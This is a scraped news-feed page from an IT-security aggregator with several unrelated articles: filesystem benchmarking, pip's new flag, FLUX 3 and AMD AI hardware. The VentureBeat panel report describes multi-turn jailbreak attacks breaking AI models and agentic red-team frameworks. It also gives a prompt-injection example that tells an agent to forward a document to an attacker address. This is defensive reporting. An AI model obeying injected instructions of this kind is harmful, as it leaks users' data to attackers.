    The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.

    I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.

    Where I would like to take it

    Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.

    I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.

    That could support scenarios such as:

    - HDD, SSD and NVMe baselines using identical workloads

    - bcachefs foreground and background targets

    - ZFS HDD data vdevs with SSD special vdevs

    - Separate ZFS L2ARC and SLOG experiments

    - LVM dm-cache in writeback and writethrough modes

    - Metadata and small-block placement on faster media

    - Foreground latency during background migration

    - Contention between fast and slow storage tiers

    - Degraded operation and rebuild under application load

    - Performance before, during and after promoting or evacuating a storage tier

    These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.

    I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.

    For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.

    I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.

    I would appreciate technical feedback:

    - Which current tests are misleading or unfair?

    - Which failure scenarios are missing?

    - Which mixed-media topologies would be most useful?

    - Which additional filesystems or layered stacks should be included?

    - Which results deserve deeper investigation?

    The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.

    submitted by /u/bfenski
    [link] [comments]]]>         <![CDATA[The Validation Stage of CTEM: Proving Which Exposures Attackers Can Actually Exploit]]> https://tsecurity.de/de/3690178/it-security-nachrichten/the-validation-stage-of-ctem-proving-which-exposures-attackers-can-actually-exploit/ https://tsecurity.de/de/3690178/it-security-nachrichten/the-validation-stage-of-ctem-proving-which-exposures-attackers-can-actually-exploit/ Thu, 23 Jul 2026 22:44:15 +0200 📰 IT Security Nachrichten tsecurity.de The validation phase of continuous threat exposure management (CTEM) determines whether an attack could succeed in your particular environment. Your teams get proof of attack viability and can concentrate remediation efforts on exploitable exposures, not scoring severity. The 2026 Verizon Data Breach Investigation Report revealed that exploiting vulnerabilities was the most popular initial access vector, [
]

    The post The Validation Stage of CTEM: Proving Which Exposures Attackers Can Actually Exploit appeared first on SecureBlitz Cybersecurity.

    ]]>         <![CDATA[New pip flag fixes longstanding Python frustration]]> https://tsecurity.de/de/3690075/ai-nachrichten/new-pip-flag-fixes-longstanding-python-frustration/ https://tsecurity.de/de/3690075/ai-nachrichten/new-pip-flag-fixes-longstanding-python-frustration/ Thu, 23 Jul 2026 21:27:38 +0200 🔧 AI Nachrichten tsecurity.de

    A new version of Python’s native package management tool, pip, will remove a limitation that has frustrated Python developers for years. If you wanted to install the dependencies for a given package, but not install the package itself, you were stuck. Either you had to extract the dependency list from the package and install it by hand, or you had to build the whole package anyway.

    Why was this a problem? Sometimes, you want only the dependencies for a package—for instance, as a way to create a separate environment for testing or another project. If you’re making source distributions via CI, some requirements might be needed to make the source distribution but aren’t actually included in it (e.g., Cython). You would need to install these requirements somewhere—apart from the project itself—to perform the build step.

    A dependencies-only install mode for packages is a long-requested feature. Developer James O’Claire found many examples of such requests, along with various workarounds. Most of those involved third-party solutions of some sort.

    Now, a new feature set to land in pip version 26.2 will fix this problem from the inside. The command pip install --only-deps will install only the dependencies for a given package. Note that it will not install build dependencies for the package, but only runtime dependencies.

    Note that you can accomplish this with existing third-party tools. For instance, uv sync --no-install-project has the same behavior. But having this functionality right inside pip means you don’t have to turn to external tooling—or ugly hacks—to solve the problem. This may be an example of how third-party projects like uv (a superfast Python package installer) are inspiring native Python features where they make sense.

    pip 26.2 is scheduled to be released by the end of July 2026.

    ]]>         <![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]> https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/ https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/ Thu, 23 Jul 2026 20:48:24 +0200 📰 IT Nachrichten tsecurity.de When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transform 2026; the number should worry anyone still running single-turn red-teaming programs.

    VentureBeat's June 2026 Pulse survey of 107 enterprise respondents explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at 82% of companies surveyed. The world's largest security vendors have done the same math.

    Palo Alto Networks closed its $25 billion acquisition of CyberArk in February, CrowdStrike agreed in January to pay $740 million for SGNL, and Cisco announced its intent to acquire Astrix Security for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.

    Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.

    Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its LLM Security Leaderboard, she told the audience.

    "If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.

    Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."

    Her starting point for CISOs beginning agentic deployments is Cisco's Integrated AI Security and Safety Framework, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.

    Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."

    Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."

    Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science.

    Three layers versus an operating system

    Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."

    She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."

    Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.

    Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.

    The end of human code review

    Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."

    Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."

    Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.

    "You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.

    Intent versus probability

    An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.

    That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.

    Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.

    For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.

    ]]>         <![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]> https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/ https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/ Thu, 23 Jul 2026 20:48:22 +0200 📰 IT Nachrichten tsecurity.de Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.

    The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface.

    That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model.

    FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a gated "Early Access" program now, to which anyone can apply, but which BFL must approve.

    There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including Anthropic and OpenAI, though those were ostensibly for security concerns and due to government request.

    What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.

    Another big notable omission: FLUX 3 is not launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.

    But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far.

    Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption

    BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability.

    In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.

    One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.

    Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.

    Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.

    Gemini Omni Flash, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality.

    Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.

    One regional wrinkle matters for a German company's home market. Editing uploaded video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.

    Here's a rough guide for enterprises considering which video models to rely upon:

    Model

    Max single-generation duration

    Max resolution

    Key constraints

    Price per 10-second clip (720p)

    Price per 10-second clip (1080p)

    Price per 10-second clip (4K)

    FLUX 3 Video

    20 seconds

    Not stated; evaluations run at 720p

    Early access; no published SLA or pricing

    Not announced

    Not announced

    Not announced

    HappyHorse 1.1

    15 seconds

    1080p

    No 4K; closed weights

    Not published (v1.0 reseller rate is ~$1.82)

    Not published (v1.0 reseller rate is ~$3.12)

    n/a

    Veo 3.1

    Per-second billing

    4K

    Supports clip extension; preview

    $4.00

    $4.00

    $6.00

    Veo 3.1 Fast

    Per-second billing

    4K

    Preview

    $1.00

    $1.20

    $3.00

    Veo 3.1 Lite

    Per-second billing

    1080p

    No 4K, no clip extension; preview

    $0.50

    $0.80

    n/a

    Gemini Omni Flash

    10 seconds (3s minimum)

    720p at 24 FPS

    Preview abd no EU access

    $1.00

    n/a

    n/a

    One architecture for media generation and physical action

    FLUX 3 builds on Self-Flow, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026.

    The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.

    "We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."

    He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."

    BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.

    For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.

    For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.

    What FLUX 3 Video can actually do

    The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation.

    Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching OpenAI's discontinued Sora model.

    The capability list BFL published covers:

    • Text-to-video generation.

    • Image-to-video generation, either animating from a starting frame or using images as visual references.

    • Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.

    • Generative video-audio continuation from existing video and audio input.

    • Keyframe-to-video generation for controlled transitions between defined moments.

    • Multilingual dialogue.

    • A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.

    • Typography generation and animated design.

    • Agentic chaining of individual clips into longer, multi-shot sequences.

    That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.

    It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.

    BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.

    FLUX-mimic tests whether video models can become robot models

    BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.

    The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.

    FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data.

    BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.

    "The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."

    BFL argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni.

    Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic."

    The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it.

    There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.

    Open weights helped make FLUX an industry standard

    BFL officially launched in summer 2024 and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises.

    The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and Stable Diffusion, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies.

    That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.

    Wired magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.

    FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, released shortly after the firm's launch, gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.

    The company continued that pattern with FLUX.2 Dev in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.

    FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery. BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.

    The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows.

    The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.

    ]]>         <![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]> https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ Thu, 23 Jul 2026 20:48:09 +0200 📰 IT Nachrichten tsecurity.de

    AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

    AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

    The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  

    AMD’s MI455X targets the AI memory wall

    The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

    Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

    AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

    AMD Instinct chart showing generational leap in performance

    AMD

    The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

    The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

    AMD’s Helios rack takes aim at Vera Rubin

    AMD Helios rack

    Dave Altavilla

    Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

    In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

    These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

    AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

    While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

    Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

    Kind of like cowbell, AMD Venice gives agentic AI more CPU

    Chart showing AMD EPYC CPU performance

    AMD

    AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

    Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

    Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

    Pensando networking and ROCm software advance

    Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

    As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

    On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

    These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

    Customer commitments underscore rack-scale confidence

    AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

